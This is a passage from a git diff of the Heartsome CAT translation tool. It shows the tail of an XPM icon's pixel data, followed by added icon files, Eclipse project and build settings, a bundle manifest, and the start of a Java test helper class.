b ,b 'b )b !b =a ~b {b ]b ^b /b (b E% e# D$ E$ . . . . ", +". . . . h# i# j# g ]_ >8 _b :b c ,c 'c )c !c ~c {c ]c ^c /c (c _c :c d ,d 'd )d !d ~d {d ]d ^d /d (d _d :d e ,e fb 'e )e !e ~e {e ]e ^e ^e /e (e _e :e f ,f 'f )f !f ~f {f ]f ^f /f (f _f :f g ,g 'g )g !g ~g {g ]g ^g A9 /g Nf V' (g _g :g h ,h 'h )h !h ~h {h ]h ^h /h ^h (h _h :h i ,i 'i )i !i ~i {i ]i ^i /i (i _i :i f ai bi ci di ei fi gi hi ii ji ki li mi ni oi pi qi ri si ti 5b ui vi wi xi yi zi Ai Bi Ci Di Ei Fi Gi Hi Ii Ji Ki Li wg ge d# e# D$ E$ . . . . ", +". . . . h# i# j# g Eh Mi Ni Oi Pi Qi Ri Si Ti Ui Vi Wi Xi Yi Zi `i j .j +j @j #j $j %j &j *j =j -j ;j Xg @i s: Pf >j ,j 'j )j !j ~j {j ]j y9 ^j /j (j _j :j k ,k 'k )k !k ~k {k ]k ^k /k 0i @i Pf Pf L: (k _k :k l ,l 'l )l !l ~l {l ]l ^l j /l (l _l :l m ,m 'm )m !m ;l ~m {m ]m ^m /m (m _m :m n ,n Wj %m d# e# D$ E$ . . . . ", +". . . . h# i# j# g &m Mi 'n )n !n ~n {n ]n ^n /n (n _n :n o ,o 'o )o *n !o ~o {o ]o ^o /o (o Wj %m d# e# D$ E$ . . . . ", +". . . . h# i# j# g &m _o :o p ,p 'p )p !p ~p {p ]p ^p /p (p _p :p

    q ,q 'q )q !q ~q {q ]q ^q /q (q _q :q Mq Nq Oq Pq Qq Rq Sq Tq Uq Vq Wq Xq Yq Zq `q r .r +r @r #r $r %r &r *r Hq =r -r ;r >r ,r 'r )r !r ~r {r ]r ^r /r (r _r :r s ,s 's )s !s ~s {s ]s ^s /s =r (s _s :s r @t #t $t %t &t *t =t -t ;t >t ,t 't )t !t ~t {t ]t ^t /t (t _t :t u ,u 'u )u !u ~u {u ]u ^u /u (u _u :u v ,v 'v *u /s )v !v ~v {v ]v ^v /v Pn -t (v _v :v w ,w 'w )w !w ~w {w ]w ^w /w (w _w :w x ,x 'x )x -v !x ~x {x ]x @w ^x /x (x _x :x y ,y 'y nr )y &x !y *x ~y d# e# D$ E$ . . . . ", +". . . . h# i# j# g sr Zv {y ]y ^y /y (y _y :y {x z ,z 'z )z !z ~z {z ]z ^z 'y nr )y /z (z fq ~y d# e# D$ E$ . . . . ", +". . . . h# i# j# g sr Zv _z :z A ,A 'A )A !A ~A {A ]A ^A /A (A -y _A :A B ,B 'B )B !B ~B =z {B ]B ^B /B (B rs _B :B C ,C 'C )C !C ~C {C ]C ^C /C (C _C :C D ,D 'D )D !D ~D {D ]D rs ^D /D (D _D :D x fD gD hD iD jD gB kD lD mD nD oD pD qD rD sD -x tD uD vD wD xD yD zD AD BD CD DD ED FD GD HD ID JD KD LD MD E ,E 'E )E !E /D ~E {E ]E ^E /E (E _E :E F ,F 'F )F !F ~F {F ]F ^F /F (F _F :F G ,G 'G )G !G ~G {G ]G ^G /G (G _G :G H ,H 'H )H !H ~H {H ]H ^H /H (H _H :H I ,I 'I )I !I ~I {I ]I ^I /I (I _I :I J ,J 'J )J !J ~J {J ]J ^J /J (J _J :J K ,K 'K )K =H !K ~K {K ]K ^K /K (K _K :K L ,L 'L )L !L ~L {L `D ]L ^L /L /L (L _L :L M ,M 'M )M .J !M ~M {M 'H ]M .E wF ^M /M (M _M :M N ,N 'N )N !N ~N {N ]N ^N /N (N _N :N O ,O 'O )O !O ~O {M {O ]O ^O [D /O (O _O :O P ,P 'P )P !P ~P {P ]P ^P /P (P _P :P

    Q ,Q 'Q )Q !Q ~Q {Q ]Q ^Q /Q (Q _Q :Q qJ (O R ,R 'R )R !R ~R {R ]R ]R ^R /R (R _R :R S ,S 'S )S ]R _P !S ~S >I {S T ,T 'T )T !T ~T {T ]T ^T /T (T 1S _T bQ :T U ,U 'U )U !U ~U {U ]U ^U /U (U Bu _U 6T Uw :U V ,V 'V )V !V ~V {V ]V ^V /V Bu (V Uw _V :V W ,W 'W )W !W ~W !W )W 1V {W ]W ^W 0T 2U 2U 4V mS mS /W 4U (W yO _W fq rr d# e# D$ E$ . . . . ", +". . . . h# i# } |. :W X ,X fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } |. )X !X ~X {X ]X ^X /X (X _X :X :X Y ,Y 'X d# e# D$ E$ . . . . ", +". . . . h# i# } p 'Y )Y !Y ~Y (A {Y ]Y ^Y /Y (Y _Y :Y Z ,Z 'Z )Z !Z {J {E ~Z {Z ]Z ]O ^Z fV /Z rs (Z _Z :Z sY ` ,` '` '` ,` )` !` ~` {` ]` ^` /` (` _` :` <` [` }` |` 1` 2` 3` rs 4` 5` 6` 7` HP 8` 9` ~J 0` a` xG b` c` d` e` f` g` h` i` j` k` l` m` n` o` p` q` r` s` t` u` v` w` x` y` z` A` B` C` D` E` F` wZ G` #x H` 0 I` J` YX rs a` K` L` M` N` rI O` wP P` Q` @Z @Z #Z ZZ R` R` S` T` `Z *Z U` fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ q V` W` X` rs :Q ~S Y` Y` Z` `` rs .. .+ .@ .# .$ .% .& .$ .* .= .- .; .> ., .' .) .! .~ .{ .] .^ ./ .( ._ .: .< .'` [ .} .| .1 .1 .2 .3 .4 .;G $K rs 5 .6 .7 .8 .9 .0 .a .b .c .d .e .f .rs g .h .i .j .k .l .m .n .o .p .q .)z r .qF 3Y s .t .N` u ..Y .Y aE v .w .x .y .z .rs A .B .C .D .E .F .G .xN uO 4V #Z #Z ZZ H .I .S` `Z J .K .fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ q L .M .N .kQ ;G O .P .Q .R .S .T .U .V .W .X .Y .Z .` .` . .....+..@..#..$..%..&..*..=..-..;..>..,..'..)..tS !..~..{..]..^../..(.._../..:..<..3S [..}..|..rs 1..2..3..4..5..6..7..8..9..0..a..b..c..d..e..f..g..h..i..j..k..l..m..n..o..p..q..r...w s..t..u..v..w..x..y..z..A..B..rs rs Tt C..D..E..F..G..lr xM $Z YZ H..I..I .I .J..K..L..fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ k M..N..O..GO ZT P..P .Q..R..rs xZ S..#T T..U..EO V..W..V..EO X..X .Y..Z..rs `.. +..+.++.@+.#+.$+.%+.&+.*+.=+.-+.;+.>+. E ,+.pS FP BQ '+.)+.!+.~+.{+.,B mQ ]+.rs ^+./+.(+._+.:+.<+.[+.}+.|+.1+.2+.3+.4+.5+.6+.7+.8+.9+.0+.a+.b+.c+.d+.e+._U f+.g+.h+.i+.C` j+.k+.l+.m+.n+.o+.p+.q+.r+.s+.rs rs t+.u+.v+.w+.x+.qG wK &Z H..H..H .I .J..K..L..fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ >Z )X y+.z+.A+.B+.;+.C+.D+.E+.r..F+.G+.(P H+.DO W..I+.I+.V..J+.K+.]R #A L+.M+.N+.O+.P+.Q+.EY R+.rs S+.T+.U+.-+.V+.W+.X+.Y+.Z+.`+. @..@.+@.CP @@.#@.$@.%@.&@.*@.=@.-@.;@.>@.,@.'@.)@.!@.~@.{@.]@.^@./@.(@._@.:@.<@.[@.}@.|@.1@.2@.3@.4@.5@.6@.7@.8@.9@._C 0@.a@.b@.c@.d@.e@.F .bD f@.g@.h@.b` rs rs i@.j@.k@.l@.m@.n@.yK %Z R` H..o@.J..p@.q@.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# i# .` p r@.s@.t@.u@.!+.;+.v@.w@.rs x@.y@.z@.,+.A@.W..B@.I+.C@.EO D@.E@.F@.G@.rs H@.I@.J@.XT K@.C+.rs L@.M@.N@.ZT QV HX O@.P@.Q@.JX )+.R@.EO DN S@.V..T@.U@.V@.W@.X@.Y@.Z@.`@. #..#.+#.@#.##.$#.%#.&#.*#.=#.-#.;#.>#.,#.'#.)#.!#.~#.{#.]#.^#./#.(#._#.:#.<#.8@.[#.}#.|#.1#.aC 2#.3#.4#.}#.5#.6#.7#.8#.Mt rs rs 9#.0#.a#.b#.n@.wJ &Z o@.c#.d#.e#.f#.fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } |. g#.h#.i#.j#.k#.;+.l#.m#.rs n#.o#.W+.pS DN p#.q#.p#.S@.r#.pS s#.G+.t#.u#.v#.X+.YT w#.x#.y#.z#.A#.B#._T C#.D#.E#.cT F#.]..G#.H#.I#.J#.K#.V..p#.p#.C@.L#.M#.N#.O#.P#.Q#.R#.S#.T#.U#.V#.W#.X#.Y#.Z#.`#. $..$.+$.@$.#$.$$.%$.&$.*$.Q..=$.-$.;$.>$.,$.'$.)$.!$.~$.{$.]$.^$.3Y /$.($.pG pG %.DK ,%.Q@.'%.)%.rs !%.mQ QV ~%.A@.{%.c$.EN A@.]%.^%./%.=Q (%._%.~+.:%.<%.[%.}%.rs x@.|%.Mw 1%.2%.3%.4%.5%.i$.6%.rs 7%.8%.9%.0%.a%.CO b%.c%.c%.d%.e%.f%.g%.h%.i%.j%.k%.l%.m%.n%.o%.p%.q%.r%.s%.t%.u%.v%.w%.x%.y%.z%.A%.]Y B%.C%.D%.E%.F%.G%.H%.I%.J%.K%.Lv L%.M%.N%.rs O%.P%.=%.Q%.R%.S%.T%.U%.FQ rs rs V%.W%./@ X%.dE p@.c#.d#.4$.fq 'X d# e# D$ E$ . . . . ", +". . . . h# i# } Y%.Z%.`%.i#..@. &..&.+&.8U rs {Z |D D#.Q@.,%.@&.CP zQ #&.$&.v$.%&.&&.*&.=&.$&.0%.TV -&.z@.rs ;&.>&.rs 9D ,&. X '&.=C 9%.)&.!&.t#.~&.{&.$B ]&.#F d%.q#.q#.^&./&.(&._&.:&.qQ <&.[&.}&.|&.1&.2&.3&.4&.5&.6&.7&.8&.9&.0&.a&.b&.c&.d&.e&.f&.g&.h&.Fu 'W I%.i&.j&.i&.k&.$X %Y l&.m&.n&.rs fD o&.p&.q&.r&.s&.t&.u&.v&.rs rs w&.x&.y&.z&.AM J..d#.4$.fq 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z .` p r@.A&.B&.C&.D&.E&.{U F&.rs G&.Q$.LZ H&.I&.J&.q$.q$.,%.K&.L&.M&.rs *.,*.'*.)*.!*.~*.{*.]*.^*./*.(*._*.:*.<*.[*.}*.rs |*.1*.i# 2*.U$.3*.j&.4*.5*.6*.)W =z 7*.8*.9*.a` nF 0*.a*.b*.c*.d*.e*.f*.jD rs g*.h*.i*.j*.k*.;%.K..l*.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z (@ >Z m*.n*.o*.p*.q*.V&.r*.s*.~J rs V%.t*.u*.v*.w*.x*.,%.N#.N&.y*.%` z*.-&.Y&.#@.A*.B*.C*.D*.E*.OS F*.dV G*.H*.I*.J*.a%.K*.L*.M*.N*.,+.rs O*.P*._&.Q*.R*.#*.S*.S*.T*.U*.V*.W*.X*.Y*.Z*.`*. =..=.+=.@=.#=.$=.%=.&=.*=.==.-=.;=.>=.,=.Gt !x '=.VW )=.!=.~=.{=.]=.5*.^=./=.(=._=.pR :=.<=..%.rs A*.[=.'y 'y }=.|=.1=.2=.3=.rs 4=.5=.`$.6=.7=.8=.l*.9=.'X d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=.q a=.b=.c=.d=.=C e=.f=.c` g=.h=.rs yG B .i=.j=.u@.k=.Q+.l=.s#.7%.YT m=.X&.a%.zQ n=.o=.p=.dC rs rs q=.r=.s=.L*.t=.d%.u=.v=.w=.x=.N*.y=.[D {A z=.A=.B=.C=.S*.#*.D=.E=.F=.Yy n&.G=.rs H=.I=.J=.K=.L=.M=.N=.O=.P=.Q=.R=.S=.T=.U=.V=.W=.X=.$ ./Y rs Y=.Z=.`=. -.(=.^=..-.+-.@-.#-.pR $-.%-.&-.rs 7@.*-.=-.--.;-.j*.>-.,-.'-.rs )-.!-.~-.{-.]-.^-.,Y 'X d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=./-.(-._-.:-.<-.5E m=.[-.}-.|-.RY 1-.rs rs rs rs 2-.3-.4-.5-.6-.7-.FY s=.8-.9-.0-.a-.b-.c-.d-.rs rs e-.f-.g-.h-.i-.C=.j-.k-.l-.m-.F .CI rs n-.o-.p-.q-.D=.D=.r-.r-.s-.t-.u-.v-.w-.mI x-.y-.z-.A-.B-.C-.D-.E-.F-.G-.H-.I-.J-.K-.L-.M-.N-.O-.P-.wR Q-.R-.a*.S-.T-.U-./=.V-.W-.X-.Y-.yP xs Z-.J*.A .`-. ;.Bs &x .;.+;.@;.} .rs rs #;.$;.%;.&;.*;.=;.-;.d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=./-.;;.>;.,;.<-.4C ';.^U );.(C !;.~;.lH {;.];.^;./;.(;._;.:;.<;.VW [;.};.|;.1;.d%.k-.2;.3;.4;.5;.rs rs 6;.7;.8;.9;.C=.0;.T*.a;.b;.c;.d;.rs ]%.fS e;.f;.g;.h;.i;.i;.j;.k;.l;.m;.n;.o;.rs p;.q;.r;.s;.t;.u;.v;.w;.x;.y;.z;.A;.C .B;.rs C;.&T .-;.d# e# D$ E$ . . . . ", +". . . . h# ;Z 0=.q .>.+>.@>.rs NK #>.$>.fQ %>.&>.*>.=>.: .v*.bD ->.;>.m-.>>.D@.rs '&.,>.'>.)>.i%.T*.(&.!>.~>.N*.FM {>.]>.EK ^>.9;.C=.0;.T*.%*./>.(>.W@.rs ,%._>.:>.f;.i;.h;.i;.i;.<>.[>.}>.|>.1>.R@.rs 2>.3>.4>.5>.6>.7>.8>.9>.0>.a>.b>.c>.Ou T;.wF <;.d>.&w e>.f>.7-.g>.h>.Xw &X i>.W-.j>.k>.l>.m>.n>.vO o>.p>.q>.r>.s>.}A jF t>.u>.v>.w>.rs rs #;.x>.y>.z>.A>.-;.E% e# D$ E$ . . . . ", +". . . . h# ;Z (@ q ,Z B>.C>.D>.rs E>.F>.8%.G>.H>.rs I>.4C J>.K>.L>._&.&*.M>.N>.rs O>.uM b;.+*.k-.P>.k-.Q>.2;.R>.S>.T>.d+.V*.Q*.U>.#*.V>.W>.F=.Yy X>.H+.rs Tx .Z>.i;.`>.h;.i;. ,..,.+,.@,.#,.$,.rs %,.&,.*,.=,.-,.;,.>,.,,.',.),.!,.$>.vM ~,.}N i+.{,.],.^,./,.(,.rs _,.:,.<,.[,.l>.k>.j>.},.|,.1,.ZZ vI 2,.3,.i+.4,.5,.}A AL 6,.7,.8,.Qw rs GN 9,.0,.a,.b,.-;.E% e# D$ E$ . . . . ", +". . . . h# ;Z j# p c,.d,.e,.f,.g,.rs rs rs rs a@.~+.h,.>>.$,.V*.i,.i,._&.Tx j,.k,._R l,.m,.n,.U*.o,.T*.p,.q,.r,.s,.t,.u,.v,.w,.x,.h;.h;.y,.z,.m;.b#.A,.&&.B,.C,.D,.E,.F,.F,.G,.H,.I,.J,.+,.K,.L,.Mv 4` C&.M,.N,.O,.P,.Q,.R,.S,.T,.@z U,.V,.W,.X,.Y,.gT Z,.`,. '..'.+'.@'.#'.$'.tQ =X %'.&'.j>.k>.*'.='.-'.wQ ;'.>'.,'.''.)'.}A zK !'.~'.{'.]'.rs hP @%.^'./'.('._'.E% e# D$ E$ . . . . ", +". . . . h# i# } p r@.:'.<'.M>.['.e=.}'.JX |'.vs 4#.R>.8;.1'.2'.y,.3'.r,.4'.5'.1A rs n..uJ 4'.6'.$*.g;.7'.8'.9'.0'.a'.0'.9'.b'.i;.h;.x,.a'.c'.d'.n&.e'.f'.g'.h'.i'.j'.k'.k'.l'.m'..,.n'.o'.p'.q'.r'.s'.t'.u'.b#.v'.w'.x'.y'.Y` ZW z'.A'.B'.C'.D'.E'.F'.J#.G'.H'.I'.J'.K'.L'.M'.N'.^W O'.P'.k>.Q'.R'.S'.T'.R` yM U'.1;.V'.W'.X'.Y'.X'.Z'.`'.jR rs rs )..).+).@)._'.#).e# D$ E$ . . . . ", +". . . . h# i# } |. :W $).%).s,.&).*).=).-).;).&).>).,).v,.f;.').s-.)).!).~).{).]).rs ^)./).().,)._).g;.h;.h;.h;.r-.g;.:).j;.i;.<).i;.[).!).}).|).V@.rs |;.1).2).3).J,.k'.I,.m'.4).5).3).R$.@y 6).7).s'.g>.8).9).0).=-.a).b).BI c).d)._#.e).XZ f).%-.'>.g).h).i)._>.j).k).l).m).n).2U o).|,.p).R'.R'.q).r).s).4U t).u).v).w).x).y).z).Z;.A).B).]D rs C).D).E).F).G).#).e# D$ E$ . . . . ", +". . . . h# i# j# |. vH H).I).J).:>.}).K).K).}).L).}>.M).k;.').N).:).O).P).Q).R).S).T).rs U).V).:>.t-.b'.<).W).W).W).X).X).W).W).`>.G,.k;.Y).Z).cD `). !.Pu U$..!.5).+!.k'.@!.#!.$!.%!.&!.iS As *!.=!.a` -!.;!.>!.,!.'!.)!.B'.!!.~!.{!.]!.^!./!.(!._!.:#.:!..}!.|!.1!.<-.xM 4U 2!.='.R'.R'.q).q).3!.4!.I .5!.6!.7!.p,.8!.9!.0!.a!.C'.b!.c!.rs d!.e!.f!.g!.h!.#).e# D$ E$ . . . . ", +". . . . ^@ i# j# g i!.j!.k!.E=.l!.m!.!).!).t-.Z>.y,.s-.g;.i;.h;.h;.h;.s-.n!.:>.o!.g-.rs mD p!.q!.a'.g;.r!.s!.t!.t!.t!.t!.t!.t!.X). ,.u!.v!.w!.x!.rs y!.xs z!.A!.l'.B!.B!.C!.D!.E!.F!.w'.G!.H!.(!.p#.rs I!.J!.K!.L!.M!.AL N!.O!.P!.<,.t).Q!.R!.S!.T!.U!.V!.]!.x!.W!.a).X!.1B $W o,.Y!.Z!.`!. ~. ~..~.R'.+~.@~.#~.&Z $~.%~.&~.*~.=~.-~.;~.>~.,~.#&.rs '~.)~.!~.~~.h!.#).e# M1 g# . . . . ", +". . . . {~.Z. ]~.g ^~./~.(~._~.:~.<~.<~.[~.}~.|~.1~.2~.3~.3~.3~.4~.4~._~.5~.6~.7~.8~.9~.0~.a~.b~.c~.d~.e~.f~.g~.g~.f~.g~.f~.h~.f~.i~.j~.k~.l~.0~.m~.n~.o~.p~.q~.r~.s~.t~.u~.v~.j~.w~.x~.y~.z~.A~.B~.C~.D~.E~.F~.G~.qr H~.I~.J~.K~.L~.K~.M~.N~.O~.P~.Q~.R~.S~.T~.U~.V~.W~.X~.Y~.Z~.`~. {..{.+{.@{.#{.${.%{.&{.*{.={.-{.;{.>{.,{.'{.){.!{.~{.{{.]{.^{./{.({._{.:{.<{.E% [{.{@ }{.. . . . ", +". . . . |{.1{.2{.|. 3{.4{.5{.6{.7{.7{.7{.7{.7{.7{.8{.8{.8{.8{.8{.8{.8{.9{.0{.a{.b{.c{.d{.e{.f{.g{.h{.0{.9{.7{.7{.7{.7{.7{.7{.7{.i{.j{.k{.l{.m{.n{.o{.p{.q{.r{.s{.9{.7{.i{.t{.u{.v{.w{.x{.y{.z{.A{.B{.C{.D{.E{.F{.G{.b{.H{.g{.I{.J{.F).K{.L{.M{.N{.O{.P{.E{.Q{.R{.S{.T{.U{.V{.W{.X{.Y{.Z{.`{. ].,Y ,Y ,Y ,Y .].+].@].#].J{.$].%].&].b,.*].U{.=].j .-].;].>].,].'].)]./. !].~].{].. . . . ", +" . . . ]].^]./].(]._].:].<].[].}].}].}].}].}].}].}].}].}].}].|].|].|].}].1].2].3].4].5].6].7].8].9].0].|].|].|].|].|].|].|].|].|].a].b].3].c].d].e].f].3].g].h].|].|].|].h].i].j].k].l].m].n].o].p].q].r].s].t].u].v].v].w].x].y].z].z].A].B].C].D].E].F].G].t].H].I].J].K].L].M].N].O].P].Q].Q].Q].R].R].Q].P].S].T].M].j].U].V].W].N].X].Y].Z].`]. ^..^.+^.Z].@^.#^.$^.4,.%^.. . . . ", +" . . . . &^.*^.=^.|. V. -^.d# d# d# d# d# d# d# d# d# d# d# d# d# d# d# E% 2= /- U] H{ H{ H{ U] ;^./- d# d# d# d# d# d# d# d# d# d# ;^.U] H{ H{ H{ U] /- >^.d# d# d# d# d# ;^.,^.H{ z} '^.'^.<, '^.z} )^.U] U] !^.;^.;^.;^./- ;^.;^./- /- ,^.,^.U] H{ U] U] U] !^.;^./- /- /- ;^./- /- d# d# d# d# d# d# d# d# 2= ;^.;^.;^.;^.2= 2= 2= /- U] H{ ~^.H{ U] U] o {^.]^.^^./^.]].. . . ", +" . . . . (^._^.:^.<^.6 [^.e# e# e# e# e# e# e# e# e# e# e# e# e# e# e# e# }^.;8 !; !; !; |^.!; !; }^.e# e# e# e# e# e# e# e# e# }^.;8 !; !; [, !; !; ;8 ;8 e# e# e# e# e# !; $/ [, G| 1^.1^.1^.1^.6' [, !; !; !; !; !; !; ;8 ;8 ;8 ;8 ;8 !; !; !; !; !; !; !; !; !; ;8 ;8 ;8 ;8 ;8 }^.e# e# e# e# e# e# e# }^.}^.;8 ;8 ;8 ;8 }^.}^.}^.;8 !; |^.|^.|^.!; 2^.3^.4^.^^.5^.6^.. . . . ", +" . . . . . 7^.8^.9^.0^.a^.f# t t t t t t t t t t t t t t t t t D$ D$ D$ D$ D$ D$ t t t t t t t t t t t D$ D$ D$ D$ D$ D$ t t t t t t t D$ D$ v~ v~ f# f# f# v~ D$ D$ D$ D$ D$ D$ D$ D$ t t t t t D$ D$ D$ D$ D$ D$ D$ D$ D$ t t t t t t t t t t t t t t t t t t t t t t D$ D$ D$ D$ D$ f# {@ ~].4,.b^.c^.. . . . . ", +" . . . . . . d^.% e^.f^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.h^.g^.g^.h^.h^.g^.h^.h^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.E$ i^.j^.k^.l^.. . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . "}; diff --git a/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/macosx/xliff.icns b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/macosx/xliff.icns new file mode 100644 index 0000000..6ccdcfe Binary files /dev/null and b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/macosx/xliff.icns differ diff --git a/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/win32/xliff_16.bmp b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/win32/xliff_16.bmp new file mode 100644 index 0000000..2f0ebdd Binary files /dev/null and b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/win32/xliff_16.bmp differ diff --git a/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/win32/xliff_32.bmp b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/win32/xliff_32.bmp new file mode 100644 index 0000000..ba3471e Binary files /dev/null and b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/win32/xliff_32.bmp differ diff --git a/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/win32/xliff_48.bmp b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/win32/xliff_48.bmp new file mode 100644 index 0000000..45b56d4 Binary files /dev/null and b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/icons/win32/xliff_48.bmp differ diff --git a/te/net.heartsome.cat.ts.edition_ultimate_te.feature/plugin_customization.ini b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/plugin_customization.ini new file mode 100644 index 0000000..333fab9 --- /dev/null +++ b/te/net.heartsome.cat.ts.edition_ultimate_te.feature/plugin_customization.ini @@ -0,0 +1 @@ +org.eclipse.ui/SHOW_PROGRESS_ON_STARTUP = true diff --git a/test/net.heartsome.cat.junit.feature/.project b/test/net.heartsome.cat.junit.feature/.project new file mode 100644 index 0000000..77fa4f4 --- /dev/null +++ b/test/net.heartsome.cat.junit.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.junit.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/test/net.heartsome.cat.junit.feature/build.properties b/test/net.heartsome.cat.junit.feature/build.properties new file mode 100644 index 0000000..82ab19c --- /dev/null +++ b/test/net.heartsome.cat.junit.feature/build.properties @@ -0,0 +1 @@ +bin.includes = feature.xml diff --git a/test/net.heartsome.cat.junit.feature/feature.xml b/test/net.heartsome.cat.junit.feature/feature.xml new file mode 100644 index 0000000..e7b7acb --- /dev/null +++ b/test/net.heartsome.cat.junit.feature/feature.xml @@ -0,0 +1,38 @@ + + + + + [Enter Feature Description here.] + + + + [Enter Copyright Description here.] + + + + [Enter License Description here.] + + + + + + + + + diff --git a/test/net.heartsome.cat.ts.test.basecase/.classpath b/test/net.heartsome.cat.ts.test.basecase/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/test/net.heartsome.cat.ts.test.basecase/.project b/test/net.heartsome.cat.ts.test.basecase/.project new file mode 100644 index 0000000..2d3b18a --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.test.basecase + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/test/net.heartsome.cat.ts.test.basecase/.settings/org.eclipse.jdt.core.prefs b/test/net.heartsome.cat.ts.test.basecase/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..f084d20 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Thu Feb 16 11:11:07 HKT 2012 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/test/net.heartsome.cat.ts.test.basecase/META-INF/MANIFEST.MF b/test/net.heartsome.cat.ts.test.basecase/META-INF/MANIFEST.MF new file mode 100644 index 0000000..6d58fc9 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/META-INF/MANIFEST.MF @@ -0,0 +1,18 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: net.heartsome.cat.ts.test.basecase +Bundle-SymbolicName: net.heartsome.cat.ts.test.basecase +Bundle-Version: 1.0.0.qualifier +Bundle-Vendor: Hearstome +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 +Require-Bundle: org.eclipse.swtbot.go, + net.heartsome.cat.ts.test.ui;bundle-version="1.0.0", + net.heartsome.test.swtbot;bundle-version="1.0.0", + net.heartsome.test.thirdpartylibrary;bundle-version="1.0.0", + net.heartsome.test.utilities;bundle-version="1.0.0", + org.apache.log4j +Export-Package: net.heartsome.cat.ts.test.basecase.common, + net.heartsome.cat.ts.test.basecase.menu.db, + net.heartsome.cat.ts.test.basecase.menu.file, + net.heartsome.cat.ts.test.basecase.menu.project, + net.heartsome.cat.ts.test.basecase.menu.translation diff --git a/test/net.heartsome.cat.ts.test.basecase/build.properties b/test/net.heartsome.cat.ts.test.basecase/build.properties new file mode 100644 index 0000000..34d2e4d --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/build.properties @@ -0,0 +1,4 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/common/ExcelData.java b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/common/ExcelData.java new file mode 100644 index 0000000..c2fd0e9 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.basecase/src/net/heartsome/cat/ts/test/basecase/common/ExcelData.java @@ -0,0 +1,243 @@ +package net.heartsome.cat.ts.test.basecase.common; + +import static org.junit.Assert.assertTrue; + +import java.util.List; + +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.DB; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants.ExpectedResult; 